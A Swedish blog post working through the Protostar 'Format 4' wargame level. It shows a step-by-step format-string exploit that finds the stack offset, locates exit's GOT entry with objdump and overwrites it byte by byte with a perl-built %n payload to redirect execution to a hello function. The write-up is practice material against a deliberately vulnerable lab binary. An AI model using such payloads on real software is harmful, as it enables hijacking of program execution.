Format 4 och Protostar

Format 4 från protostar

Ok nu ska vi i princip göra samma sak som i 4’an vi ska bara redirecta lite anrop till funktioner och peta in pekaren till

hello-funktionen.

Men det får bli en annan gång för nu orkar jag inte sitta med detta mer idag :)

Ok då var det dags igen.

Samma sak som innan. Vi skriver över med plats 4
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format4 ; echo -n ”$i” ; done |grep 4141
3AAAA41414141
user@protostar:/opt/protostar/bin$
(Fel på räknarne så det blir plats 4).

void hello()
{
printf(”code execution redirected! you win\n”);
_exit(1);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

exit(1);
}

Så ser koden ut så att vi ska se om vi inte kan trycka in pekare till hello funktionen istället för exit.

Så då letar vi upp sakerna.

user@protostar:/opt/protostar/bin$ objdump -R format4 |grep exit
08049718 R_386_JUMP_SLOT _exit
08049724 R_386_JUMP_SLOT exit
Så då ska vi skriva till 08049724 och där ska vi skriva

user@protostar:/opt/protostar/bin$ objdump -t format4 |grep hello
080484b4 g F .text 0000001e hello

pekaren till hello som är 080484b4

Ok, nu ska vi göra det 1 byte i taget istället för som förra där vi skrev över 2 byte i taget.

Så vi testar att skriva något till den adressen för att se vilket värde där finns (Får vi en seg fault så blir det lättare

att titta på det, annars får vi köra i gdb).
SÅ som root kör vi echo ”2” >/proc/sys/fs/suid_dumpable

Och sen ulimit -c unlimited och så testar vi.

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%4\\$n%5\\$n%6\

\$n%7\\$n”‘` | ./format4

Sen kör vi lite gdb (som root)
root@protostar:/tmp# gdb –core /tmp/core.11.format4.2311
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type ”show copying”
and ”show warranty” for details.
This GDB was configured as ”i486-linux-gnu”.
For bug reporting instructions, please see:
.
Core was generated by `./format4′.
Program terminated with signal 11, Segmentation fault.
#0 0x10101010 in ?? ()
(gdb) x/1x 0x
Invalid number ”0x”.
(gdb) x/1x 0x08049724
0x8049724: 0x10101010

Ok så nu i 0x08049724 finns det 0x10101010 som ska bli 080484b4

Vi börjar med att slänga in första talet som ska vara b4’a. Så vi slänger in 164

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n%5\\

$n%6\\$n%7\\$n”‘` | ./format4

Sen för andra värdet så ska vi ha 84.
Vi har slängt in xb4 och ska ha 0x84
Så då kör vi följande i gdb
(gdb) p 0x84 – 0xb4
$1 = -48
(gdb) p 0x184 – 0xb4
$2 = 208

Eftersom det blir -48 den första så får vi lägga till så att vi ska lägga till en 1’a på 0x84 så det blir en integer mer

och inte blir minus.

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n

%208x%5\\$n%6\\$n%7\\$n”‘` | ./format4

Tredje värdet blir
(gdb) p 0x04 – 0x84
$3 = -128
(gdb) 0x104 – 0x84
Undefined command: ”0x104″. Try ”help”.
(gdb) p 0x104 – 0x84
$4 = 128
SÅ den blir 128

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n%208x

%5\\$n%128x%6\\$n%4x%7\\$n”‘` | ./format4

Fjärde siffran ska vara
(gdb) p 0x08 – 0x04
$5 = 4
(gdb) 0x108-0x04
Undefined command: ”0x108-0x04″. Try ”help”.
(gdb) p 0x108-0x04
$6 = 260
Eftersom 4’a inte fungerade det blev för mycket och skulle vara 08 så får vi runda den igen och då blir den 260
echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n

%208x%5\\$n%128x%6\\$n%260x%7\\$n”‘` | ./format4

user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ .

”\x27\x97\x04\x08″. ”%164x%4\\$n%208x%5\\$n%128x%6\\$n%260x%7\\$n”‘` | ./format4
$%&’

200

b7fd8420

bffff614

8049724
code execution redirected! you win
Så då var format strings testerna klara.

Får gå vidare med heap overflows lite senare.

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>